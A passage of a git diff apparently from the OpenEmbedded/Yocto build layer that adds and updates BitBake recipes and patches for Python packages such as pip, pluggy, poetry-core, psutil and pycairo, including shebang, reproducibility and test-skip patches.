+ from pip._vendor.chardet.sbcharsetprober import SingleByteCharSetModel
+diff --git a/src/pip/_vendor/chardet/langgreekmodel.py b/src/pip/_vendor/chardet/langgreekmodel.py
+index d99528e..4a127ea 100644
+--- a/src/pip/_vendor/chardet/langgreekmodel.py
++++ b/src/pip/_vendor/chardet/langgreekmodel.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
+ from pip._vendor.chardet.sbcharsetprober import SingleByteCharSetModel
+diff --git a/src/pip/_vendor/chardet/langhebrewmodel.py b/src/pip/_vendor/chardet/langhebrewmodel.py
+index 484c652..676c1a7 100644
+--- a/src/pip/_vendor/chardet/langhebrewmodel.py
++++ b/src/pip/_vendor/chardet/langhebrewmodel.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
+ from pip._vendor.chardet.sbcharsetprober import SingleByteCharSetModel
+diff --git a/src/pip/_vendor/chardet/langhungarianmodel.py b/src/pip/_vendor/chardet/langhungarianmodel.py
+index bbc5cda..042eae7 100644
+--- a/src/pip/_vendor/chardet/langhungarianmodel.py
++++ b/src/pip/_vendor/chardet/langhungarianmodel.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
+ from pip._vendor.chardet.sbcharsetprober import SingleByteCharSetModel
+diff --git a/src/pip/_vendor/chardet/langrussianmodel.py b/src/pip/_vendor/chardet/langrussianmodel.py
+index 5594452..564b02e 100644
+--- a/src/pip/_vendor/chardet/langrussianmodel.py
++++ b/src/pip/_vendor/chardet/langrussianmodel.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
+ from pip._vendor.chardet.sbcharsetprober import SingleByteCharSetModel
+diff --git a/src/pip/_vendor/chardet/langthaimodel.py b/src/pip/_vendor/chardet/langthaimodel.py
+index 9a37db5..c974879 100644
+--- a/src/pip/_vendor/chardet/langthaimodel.py
++++ b/src/pip/_vendor/chardet/langthaimodel.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
+ from pip._vendor.chardet.sbcharsetprober import SingleByteCharSetModel
+diff --git a/src/pip/_vendor/chardet/langturkishmodel.py b/src/pip/_vendor/chardet/langturkishmodel.py
+index 43f4230..7e710c3 100644
+--- a/src/pip/_vendor/chardet/langturkishmodel.py
++++ b/src/pip/_vendor/chardet/langturkishmodel.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
+ from pip._vendor.chardet.sbcharsetprober import SingleByteCharSetModel
+diff --git a/src/pip/_vendor/chardet/metadata/languages.py b/src/pip/_vendor/chardet/metadata/languages.py
+index 3237d5a..aa2ec7c 100644
+--- a/src/pip/_vendor/chardet/metadata/languages.py
++++ b/src/pip/_vendor/chardet/metadata/languages.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+ """
+ Metadata about languages used by our model training code for our
+diff --git a/src/pip/_vendor/requests/certs.py b/src/pip/_vendor/requests/certs.py
+index 06a594e..bfa7839 100644
+--- a/src/pip/_vendor/requests/certs.py
++++ b/src/pip/_vendor/requests/certs.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
+ """
diff --git a/meta/recipes-devtools/python/python3-pip/no_shebang_mangling.patch b/meta/recipes-devtools/python/python3-pip/no_shebang_mangling.patch
new file mode 100644
index 0000000000..920e22bc02
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pip/no_shebang_mangling.patch
@@ -0,0 +1,28 @@
+Patch pip to disable shebang mangling and also force the python executable
+to be python3 from the environment when building anything for the target
+(or nativesdk). This avoids incorrect interpreter paths in the target scripts.
+
+Upstream-Status: Inappropriate [OE specific config]
+
+Index: pip-22.0.3/src/pip/_vendor/distlib/scripts.py
+===================================================================
+--- pip-22.0.3.orig/src/pip/_vendor/distlib/scripts.py
++++ pip-22.0.3/src/pip/_vendor/distlib/scripts.py
+@@ -135,6 +135,8 @@ class ScriptMaker(object):
+ See also: http://www.in-ulm.de/~mascheck/various/shebang/#length
+ https://hg.mozilla.org/mozilla-central/file/tip/mach
+ """
++ if '_PYTHON_SYSCONFIGDATA_NAME' in os.environ:
++ return b'#!/usr/bin/env python3'
+ if os.name != 'posix':
+ simple_shebang = True
+ else:
+@@ -340,7 +342,7 @@ class ScriptMaker(object):
+ return
+
+ match = FIRST_LINE_RE.match(first_line.replace(b'\r\n', b'\n'))
+- if match:
++ if False:
+ adjust = True
+ post_interp = match.group(1) or b''
+
diff --git a/meta/recipes-devtools/python/python3-pip/reproducible.patch b/meta/recipes-devtools/python/python3-pip/reproducible.patch
new file mode 100644
index 0000000000..538bb94f7a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pip/reproducible.patch
@@ -0,0 +1,74 @@
+Pip installed wheels are not reproducible currently. The direct_url
+files encode an installation path and the installed wheels compile
+the python files at their location, not their final install location
+which is incorrect.
+
+To fix this, simply disable the direct_urls and pass the "root" to
+the python compile function to strip that path out of the compiled
+files.
+
+A version of this patch, perhaps stripping root from the direct_urls
+may be something that could be considered by upstream.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Pending
+
+Index: pip-22.0.3/src/pip/_internal/req/req_install.py
+===================================================================
+--- pip-22.0.3.orig/src/pip/_internal/req/req_install.py
++++ pip-22.0.3/src/pip/_internal/req/req_install.py
+@@ -758,7 +758,9 @@ class InstallRequirement:
+ if self.is_wheel:
+ assert self.local_file_path
+ direct_url = None
+- if self.editable:
++ if '_PYTHON_SYSCONFIGDATA_NAME' in os.environ:
++ direct_url = None
++ elif self.editable:
+ direct_url = direct_url_for_editable(self.unpacked_source_directory)
+ elif self.original_link:
+ direct_url = direct_url_from_link(
+@@ -775,6 +777,7 @@ class InstallRequirement:
+ warn_script_location=warn_script_location,
+ direct_url=direct_url,
+ requested=self.user_supplied,
++ root=root,
+ )
+ self.install_succeeded = True
+ return
+Index: pip-22.0.3/src/pip/_internal/operations/install/wheel.py
+===================================================================
+--- pip-22.0.3.orig/src/pip/_internal/operations/install/wheel.py
++++ pip-22.0.3/src/pip/_internal/operations/install/wheel.py
+@@ -436,6 +436,7 @@ def _install_wheel(
+ warn_script_location: bool = True,
+ direct_url: Optional[DirectUrl] = None,
+ requested: bool = False,
++ root: str = None,
+ ) -> None:
+ """Install a wheel.
+
+@@ -612,7 +613,7 @@ def _install_wheel(
+ with warnings.catch_warnings():
+ warnings.filterwarnings("ignore")
+ for path in pyc_source_file_paths():
+- success = compileall.compile_file(path, force=True, quiet=True)
++ success = compileall.compile_file(path, force=True, quiet=True, stripdir=root)
+ if success:
+ pyc_path = pyc_output_path(path)
+ assert os.path.exists(pyc_path)
+@@ -723,6 +724,7 @@ def install_wheel(
+ warn_script_location: bool = True,
+ direct_url: Optional[DirectUrl] = None,
+ requested: bool = False,
++ root: str = None,
+ ) -> None:
+ with ZipFile(wheel_path, allowZip64=True) as z:
+ with req_error_context(req_description):
+@@ -735,4 +737,5 @@ def install_wheel(
+ warn_script_location=warn_script_location,
+ direct_url=direct_url,
+ requested=requested,
++ root=root,
+ )
diff --git a/meta/recipes-devtools/python/python3-pip_19.3.1.bb b/meta/recipes-devtools/python/python3-pip_19.3.1.bb
deleted file mode 100644
index d27e6fce5c..0000000000
--- a/meta/recipes-devtools/python/python3-pip_19.3.1.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "The PyPA recommended tool for installing Python packages"
-HOMEPAGE = "https://pypi.python.org/pypi/pip"
-SECTION = "devel/python"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=8ba06d529c955048e5ddd7c45459eb2e"
-
-DEPENDS += "python3 python3-setuptools-native"
-
-SRC_URI[md5sum] = "1aaaf90fbafc50e7ba1e66ffceb00960"
-SRC_URI[sha256sum] = "21207d76c1031e517668898a6b46a9fb1501c7a4710ef5dfd6a40ad9e6757ea7"
-
-inherit pypi distutils3
-
-do_install_append() {
- # Install as pip3 and leave pip2 as default
- rm ${D}/${bindir}/pip
-}
-
-RDEPENDS_${PN} = "\
- python3-compile \
- python3-io \
- python3-html \
- python3-json \
- python3-netserver \
- python3-setuptools \
- python3-unixadmin \
- python3-xmlrpc \
- python3-pickle \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pip_22.0.3.bb b/meta/recipes-devtools/python/python3-pip_22.0.3.bb
new file mode 100644
index 0000000000..9ca8fbc1e5
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pip_22.0.3.bb
@@ -0,0 +1,36 @@
+SUMMARY = "The PyPA recommended tool for installing Python packages"
+HOMEPAGE = "https://pypi.org/project/pip"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=63ec52baf95163b597008bb46db68030"
+
+inherit pypi setuptools_build_meta
+
+SRC_URI += "file://0001-change-shebang-to-python3.patch"
+SRC_URI += "file://no_shebang_mangling.patch"
+SRC_URI += "file://reproducible.patch"
+
+SRC_URI[sha256sum] = "f29d589df8c8ab99c060e68ad294c4a9ed896624f6368c5349d70aa581b333d0"
+
+do_install:append() {
+ rm -f ${D}/${bindir}/pip
+}
+
+RDEPENDS:${PN} = "\
+ python3-compile \
+ python3-io \
+ python3-html \
+ python3-json \
+ python3-multiprocessing \
+ python3-netserver \
+ python3-setuptools \
+ python3-unixadmin \
+ python3-xmlrpc \
+ python3-pickle \
+"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# This used to use the bootstrap install which didn't compile. Until we bump the
+# tmpdir version we can't compile the native otherwise the sysroot unpack fails
+INSTALL_WHEEL_COMPILE_BYTECODE:class-native = "--no-compile-bytecode"
diff --git a/meta/recipes-devtools/python/python3-pluggy/run-ptest b/meta/recipes-devtools/python/python3-pluggy/run-ptest
new file mode 100644
index 0000000000..b63c4de0d9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pluggy/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-pluggy_1.0.0.bb b/meta/recipes-devtools/python/python3-pluggy_1.0.0.bb
new file mode 100644
index 0000000000..73bbcb0269
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pluggy_1.0.0.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Plugin and hook calling mechanisms for python"
+HOMEPAGE = "https://github.com/pytest-dev/pluggy"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1c8206d16fd5cc02fa9b0bb98955e5c2"
+
+SRC_URI[sha256sum] = "4224373bacce55f955a878bf9cfa763c1e360858e330072059e10bad68531159"
+
+DEPENDS += "${PYTHON_PN}-setuptools-scm-native"
+RDEPENDS:${PN} += "${PYTHON_PN}-importlib-metadata \
+ ${PYTHON_PN}-more-itertools \
+"
+
+inherit pypi ptest setuptools_build_meta
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/testing
+ cp -rf ${S}/testing/* ${D}${PTEST_PATH}/testing/
+}
diff --git a/meta/recipes-devtools/python/python3-ply_3.11.bb b/meta/recipes-devtools/python/python3-ply_3.11.bb
new file mode 100644
index 0000000000..99c037bb73
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-ply_3.11.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Python Lex and Yacc"
+DESCRIPTION = "Python ply: PLY is yet another implementation of lex and yacc for Python"
+HOMEPAGE = "https://pypi.python.org/pypi/ply"
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://README.md;beginline=5;endline=32;md5=f5ee5c355c0e6719c787a71b8f0fa96c"
+
+SRC_URI[md5sum] = "6465f602e656455affcd7c5734c638f8"
+SRC_URI[sha256sum] = "00c7c1aaa88358b9c765b6d3000c6eec0ba42abca5351b095321aef446081da3"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN}:class-target += "\
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-shell \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-poetry-core_1.0.8.bb b/meta/recipes-devtools/python/python3-poetry-core_1.0.8.bb
new file mode 100644
index 0000000000..f3e9b05521
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-poetry-core_1.0.8.bb
@@ -0,0 +1,44 @@
+SUMMARY = "Poetry PEP 517 Build Backend"
+DESCRIPTION = "Poetry PEP 517 Build Backend"
+HOMEPAGE = "https://github.com/python-poetry/poetry-core"
+BUGTRACKER = "https://github.com/python-poetry/poetry-core"
+CHANGELOG = "https://github.com/python-poetry/poetry-core/blob/master/CHANGELOG.md"
+
+LICENSE = "Apache-2.0 & BSD-2-Clause & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=104d5c3c653aeededf4076773aa4c236 \
+ file://poetry/core/_vendor/attrs.LICENSE;md5=75bb9823a2778b5a2bd9b793fac93ea2 \
+ file://poetry/core/_vendor/jsonschema/COPYING;md5=6554d3a51d7cb0b611891317f3c69057 \
+ file://poetry/core/_vendor/jsonschema/LICENSE;md5=2ecb81765361195731a6f72a89e449fd \
+ file://poetry/core/_vendor/lark-parser.LICENSE;md5=b37b83a9cf129d92ee65aaa71c01ce72 \
+ file://poetry/core/_vendor/packaging/LICENSE;md5=7a6e56c9d54ecd731ab31c52de7942f0 \
+ file://poetry/core/_vendor/packaging/LICENSE.APACHE;md5=29256199be2a609aac596980ffc11996 \
+ file://poetry/core/_vendor/packaging/LICENSE.BSD;md5=f405810d173a1618433827928768bcd2 \
+ file://poetry/core/_vendor/pyparsing.LICENSE;md5=fb46329938e6bc829b256e37d5c1e31a \
+ file://poetry/core/_vendor/pyrsistent/LICENSE.mit;md5=1211a1ac6eac40020d0f99c39b4e4270 \
+ file://poetry/core/_vendor/six.LICENSE;md5=6a574656da93d9ef05431b45907e35b6 \
+ file://poetry/core/_vendor/tomlkit/LICENSE;md5=be329e5ef9c9fe86738c9afe6ef3c11c \
+ "
+
+SRC_URI[sha256sum] = "951fc7c1f8d710a94cb49019ee3742125039fc659675912ea614ac2aa405b118"
+
+inherit python_poetry_core pypi
+
+RDEPENDS:${PN}:append:class-target = "\
+ python3-compression \
+ python3-core \
+ python3-crypt \
+ python3-io \
+ python3-json \
+ python3-logging \
+ python3-netclient \
+ python3-pathlib2 \
+ python3-pprint \
+ python3-shell \
+"
+
+RDEPENDS:${PN} += "\
+ python3-pip \
+ python3-six \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pretend_1.0.9.bb b/meta/recipes-devtools/python/python3-pretend_1.0.9.bb
new file mode 100644
index 0000000000..21d14a03b8
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pretend_1.0.9.bb
@@ -0,0 +1,11 @@
+SUMMARY = "A library for stubbing in Python"
+HOMEPAGE = "https://github.com/alex/pretend"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=411780c0b7fa756753e94affeee5bc99"
+
+SRC_URI[md5sum] = "ad53883ede48aeac7ae584f0de0240e8"
+SRC_URI[sha256sum] = "c90eb810cde8ebb06dafcb8796f9a95228ce796531bc806e794c2f4649aa1b10"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-psutil/0001-fix-failure-test-cases.patch b/meta/recipes-devtools/python/python3-psutil/0001-fix-failure-test-cases.patch
new file mode 100644
index 0000000000..34ea03b27f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-psutil/0001-fix-failure-test-cases.patch
@@ -0,0 +1,197 @@
+From 8b4e38958ff8bdbb3ece4796bfa2d3b6f7536f71 Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Wed, 23 Feb 2022 11:54:40 +0800
+Subject: [PATCH] fix failure test cases
+
+The test cases is not robust enough. skip some cases that is
+not suitable for all conditions.
+
+* test_io_counters failed when kernel config CONFIG_TASKSTATS
+ and CONFIG_TASK_IO_ACCOUNTING are not enable in OE
+* test_setup_script failed since oe don't install setup.py
+* test_used failed since oe use git source for free, so the version
+ is 3.3.17-dirty
+* test_weird_environ failed since gcc not installed
+* test_debug failed since it is designed to run when PSUTIL_DEBUG is set
+* test_against_findmnt/test_comparisons/test_disk_partitions_mocked/
+ test_disk_partitions is not suitable for Linux nfs boot
+
+Upstream-Status: Pending
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ psutil/tests/test_contracts.py | 1 +
+ psutil/tests/test_linux.py | 8 ++++++--
+ psutil/tests/test_misc.py | 4 ++++
+ psutil/tests/test_process.py | 5 +++++
+ psutil/tests/test_system.py | 1 +
+ psutil/tests/test_unicode.py | 4 +++-
+ 6 files changed, 20 insertions(+), 3 deletions(-)
+
+diff --git a/psutil/tests/test_contracts.py b/psutil/tests/test_contracts.py
+index 7401cc1..bf0fca0 100755
+--- a/psutil/tests/test_contracts.py
++++ b/psutil/tests/test_contracts.py
+@@ -172,6 +172,7 @@ class TestAvailProcessAPIs(PsutilTestCase):
+ def test_rlimit(self):
+ self.assertEqual(hasattr(psutil.Process, "rlimit"), LINUX or FREEBSD)
+
++ @unittest.skip("broken on OE since kernel config maye not be enabled")
+ def test_io_counters(self):
+ hasit = hasattr(psutil.Process, "io_counters")
+ self.assertEqual(hasit, False if MACOS or SUNOS else True)
+diff --git a/psutil/tests/test_linux.py b/psutil/tests/test_linux.py
+index 20e28d2..66b6dda 100755
+--- a/psutil/tests/test_linux.py
++++ b/psutil/tests/test_linux.py
+@@ -196,8 +196,9 @@ def get_free_version_info():
+ out = sh(["free", "-V"]).strip()
+ if 'UNKNOWN' in out:
+ raise unittest.SkipTest("can't determine free version")
+- return tuple(map(int, out.split()[-1].split('.')))
+-
++ vlist = out.split()[-1].split('.')
++ vlist[:] = [n.split('-')[0] for n in vlist]
++ return tuple(map(int, vlist))
+
+ @contextlib.contextmanager
+ def mock_open_content(for_path, content):
+@@ -1289,6 +1290,7 @@ class TestRootFsDeviceFinder(PsutilTestCase):
+ finder.ask_sys_class_block()
+
+ @unittest.skipIf(GITHUB_ACTIONS, "unsupported on GITHUB_ACTIONS")
++ @unittest.skip("Broken for oe")
+ def test_comparisons(self):
+ finder = RootFsDeviceFinder()
+ self.assertIsNotNone(finder.find())
+@@ -1311,11 +1313,13 @@ class TestRootFsDeviceFinder(PsutilTestCase):
+
+ @unittest.skipIf(not which("findmnt"), "findmnt utility not available")
+ @unittest.skipIf(GITHUB_ACTIONS, "unsupported on GITHUB_ACTIONS")
++ @unittest.skip("Broken for oe")
+ def test_against_findmnt(self):
+ psutil_value = RootFsDeviceFinder().find()
+ findmnt_value = sh("findmnt -o SOURCE -rn /")
+ self.assertEqual(psutil_value, findmnt_value)
+
++ @unittest.skip("Broken for oe")
+ def test_disk_partitions_mocked(self):
+ with mock.patch(
+ 'psutil._pslinux.cext.disk_partitions',
+diff --git a/psutil/tests/test_misc.py b/psutil/tests/test_misc.py
+index d946eb6..121004a 100755
+--- a/psutil/tests/test_misc.py
++++ b/psutil/tests/test_misc.py
+@@ -54,6 +54,8 @@ from psutil.tests import unittest
+ # ===================================================================
+
+
++PSUTIL_DEBUG = bool(os.getenv('PSUTIL_DEBUG', 0))
++
+ class TestMisc(PsutilTestCase):
+
+ def test_process__repr__(self, func=repr):
+@@ -368,6 +370,7 @@ class TestMisc(PsutilTestCase):
+
+ # XXX: https://github.com/pypa/setuptools/pull/2896
+ @unittest.skipIf(APPVEYOR, "temporarily disabled due to setuptools bug")
++ @unittest.skip("OE run this test outof source tree")
+ def test_setup_script(self):
+ setup_py = os.path.join(ROOT_DIR, 'setup.py')
+ if CI_TESTING and not os.path.exists(setup_py):
+@@ -401,6 +404,7 @@ class TestMisc(PsutilTestCase):
+ reload_module(psutil)
+ self.assertIn("version conflict", str(cm.exception).lower())
+
++ @unittest.skipIf(not PSUTIL_DEBUG, "env PSUTIL_DEBUG not set")
+ def test_debug(self):
+ if PY3:
+ from io import StringIO
+diff --git a/psutil/tests/test_process.py b/psutil/tests/test_process.py
+index c9059e3..a34ba3d 100755
+--- a/psutil/tests/test_process.py
++++ b/psutil/tests/test_process.py
+@@ -36,6 +36,7 @@ from psutil._compat import PY3
+ from psutil._compat import FileNotFoundError
+ from psutil._compat import long
+ from psutil._compat import super
++from psutil._compat import which
+ from psutil.tests import APPVEYOR
+ from psutil.tests import CI_TESTING
+ from psutil.tests import GITHUB_ACTIONS
+@@ -726,6 +727,7 @@ class TestProcess(PsutilTestCase):
+ self.assertEqual(' '.join(p.cmdline()), ' '.join(cmdline))
+
+ @unittest.skipIf(PYPY, "broken on PYPY")
++ @unittest.skipIf(not which("gcc"), "gcc not installed")
+ def test_long_cmdline(self):
+ testfn = self.get_testfn()
+ create_exe(testfn)
+@@ -740,6 +742,7 @@ class TestProcess(PsutilTestCase):
+ assert pyexe.startswith(name), (pyexe, name)
+
+ @unittest.skipIf(PYPY, "unreliable on PYPY")
++ @unittest.skipIf(not which("gcc"), "gcc not installed")
+ def test_long_name(self):
+ testfn = self.get_testfn(suffix="0123456789" * 2)
+ create_exe(testfn)
+@@ -750,6 +753,7 @@ class TestProcess(PsutilTestCase):
+ @unittest.skipIf(SUNOS, "broken on SUNOS")
+ @unittest.skipIf(AIX, "broken on AIX")
+ @unittest.skipIf(PYPY, "broken on PYPY")
++ @unittest.skipIf(not which("gcc"), "gcc not installed")
+ def test_prog_w_funky_name(self):
+ # Test that name(), exe() and cmdline() correctly handle programs
+ # with funky chars such as spaces and ")", see:
+@@ -1408,6 +1412,7 @@ class TestProcess(PsutilTestCase):
+
+ @unittest.skipIf(not HAS_ENVIRON, "not supported")
+ @unittest.skipIf(not POSIX, "POSIX only")
++ @unittest.skipIf(not which("gcc"), "gcc not installed")
+ def test_weird_environ(self):
+ # environment variables can contain values without an equals sign
+ code = textwrap.dedent("""
+diff --git a/psutil/tests/test_system.py b/psutil/tests/test_system.py
+index db2cb34..5ee519f 100755
+--- a/psutil/tests/test_system.py
++++ b/psutil/tests/test_system.py
+@@ -580,6 +580,7 @@ class TestDiskAPIs(PsutilTestCase):
+ def test_disk_usage_bytes(self):
+ psutil.disk_usage(b'.')
+
++ @unittest.skip("Broken for oe")
+ def test_disk_partitions(self):
+ def check_ntuple(nt):
+ self.assertIsInstance(nt.device, str)
+diff --git a/psutil/tests/test_unicode.py b/psutil/tests/test_unicode.py
+index e635726..7ba5b0f 100755
+--- a/psutil/tests/test_unicode.py
++++ b/psutil/tests/test_unicode.py
+@@ -86,6 +86,7 @@ from psutil import POSIX
+ from psutil import WINDOWS
+ from psutil._compat import PY3
+ from psutil._compat import u
++from psutil._compat import which
+ from psutil.tests import APPVEYOR
+ from psutil.tests import ASCII_FS
+ from psutil.tests import CI_TESTING
+@@ -156,7 +157,7 @@ def try_unicode(suffix):
+ # FS APIs
+ # ===================================================================
+
+-
++@unittest.skipIf(not which("gcc"), "gcc not installed")
+ class BaseUnicodeTest(PsutilTestCase):
+ funky_suffix = None
+
+@@ -169,6 +170,7 @@ class BaseUnicodeTest(PsutilTestCase):
+ @serialrun
+ @unittest.skipIf(ASCII_FS, "ASCII fs")
+ @unittest.skipIf(PYPY and not PY3, "too much trouble on PYPY2")
++@unittest.skipIf(not which("gcc"), "gcc not installed")
+ class TestFSAPIs(BaseUnicodeTest):
+ """Test FS APIs with a funky, valid, UTF8 path name."""
+
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/python/python3-psutil_5.9.0.bb b/meta/recipes-devtools/python/python3-psutil_5.9.0.bb
new file mode 100644
index 0000000000..df304f01e6
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-psutil_5.9.0.bb
@@ -0,0 +1,29 @@
+SUMMARY = "A cross-platform process and system utilities module for Python"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=e35fd9f271d19d5f742f20a9d1f8bb8b"
+HOMEPAGE = "https://pypi.org/project/psutil/"
+
+SRC_URI[sha256sum] = "869842dbd66bb80c3217158e629d6fceaecc3a3166d3d1faee515b05dd26ca25"
+
+inherit pypi setuptools3
+
+SRC_URI += "file://0001-fix-failure-test-cases.patch"
+
+PACKAGES =+ "${PN}-tests"
+
+FILES:${PN}-tests += " \
+ ${PYTHON_SITEPACKAGES_DIR}/psutil/test* \
+ ${PYTHON_SITEPACKAGES_DIR}/psutil/__pycache__/test* \
+"
+
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-shell \
+ ${PYTHON_PN}-threading \
+ ${PYTHON_PN}-xml \
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-ctypes \
+ ${PYTHON_PN}-resource \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-py_1.11.0.bb b/meta/recipes-devtools/python/python3-py_1.11.0.bb
new file mode 100644
index 0000000000..02027248f4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-py_1.11.0.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Library with cross-python path, ini-parsing, io, code, log facilities"
+HOMEPAGE = "http://py.readthedocs.io/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a6bb0320b04a0a503f12f69fea479de9"
+
+SRC_URI[sha256sum] = "51c75c4126074b472f746a24399ad32f6053d1b34b68d2fa41e558e6f4a98719"
+
+DEPENDS += "${PYTHON_PN}-setuptools-scm-native"
+
+inherit pypi setuptools_build_meta
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += "${PYTHON_PN}-netclient"
diff --git a/meta/recipes-devtools/python/python3-pycairo_1.18.1.bb b/meta/recipes-devtools/python/python3-pycairo_1.18.1.bb
deleted file mode 100644
index 5aaa01a00a..0000000000
--- a/meta/recipes-devtools/python/python3-pycairo_1.18.1.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "Python bindings for the Cairo canvas library"
-HOMEPAGE = "http://cairographics.org/pycairo"
-BUGTRACKER = "http://bugs.freedesktop.org"
-SECTION = "python-devel"
-LICENSE = "LGPLv2.1 & MPLv1.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f2e071ab72978431b294a0d696327421 \
- file://COPYING-LGPL-2.1;md5=fad9b3332be894bab9bc501572864b29 \
- file://COPYING-MPL-1.1;md5=bfe1f75d606912a4111c90743d6c7325"
-
-# cairo >= 1.14
-DEPENDS = "cairo python3"
-
-SRC_URI = "https://github.com/pygobject/pycairo/releases/download/v${PV}/pycairo-${PV}.tar.gz"
-UPSTREAM_CHECK_URI = "https://github.com/pygobject/pycairo/releases/"
-
-SRC_URI[md5sum] = "7610da8a40a7bed548991aa3416431d1"
-SRC_URI[sha256sum] = "70172e58b6bad7572a3518c26729b074acdde15e6fee6cbab6d3528ad552b786"
-
-S = "${WORKDIR}/pycairo-${PV}"
-
-inherit meson pkgconfig
-
-CFLAGS += "-fPIC"
-
-BBCLASSEXTEND = "native"
-
-FILES_${PN} = "${PYTHON_SITEPACKAGES_DIR}/*"
diff --git a/meta/recipes-devtools/python/python3-pycairo_1.21.0.bb b/meta/recipes-devtools/python/python3-pycairo_1.21.0.bb
new file mode 100644
index 0000000000..29452c7660
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pycairo_1.21.0.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Python bindings for the Cairo canvas library"
+HOMEPAGE = "http://cairographics.org/pycairo"
+BUGTRACKER = "http://bugs.freedesktop.org"
+SECTION = "python-devel"
+LICENSE = "LGPL-2.1-only & MPL-1.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f3713ca2c28d9312ad718520b6dc3eee \
+ file://COPYING-LGPL-2.1;md5=fad9b3332be894bab9bc501572864b29 \
+ file://COPYING-MPL-1.1;md5=bfe1f75d606912a4111c90743d6c7325"
+
+# cairo >= 1.14
+DEPENDS = "cairo python3"
+
+SRC_URI = "https://github.com/pygobject/pycairo/releases/download/v${PV}/pycairo-${PV}.tar.gz"
+UPSTREAM_CHECK_URI = "https://github.com/pygobject/pycairo/releases/"
+
+SRC_URI[sha256sum] = "251907f18a552df938aa3386657ff4b5a4937dde70e11aa042bc297957f4b74b"
+
+S = "${WORKDIR}/pycairo-${PV}"
+
+inherit meson pkgconfig python3targetconfig
+
+CFLAGS += "-fPIC"
+
+BBCLASSEXTEND = "native"
+
+FILES:${PN} = "${PYTHON_SITEPACKAGES_DIR}/*"
diff --git a/meta/recipes-devtools/python/python3-pycparser_2.21.bb b/meta/recipes-devtools/python/python3-pycparser_2.21.bb
new file mode 100644
index 0000000000..53b7367903
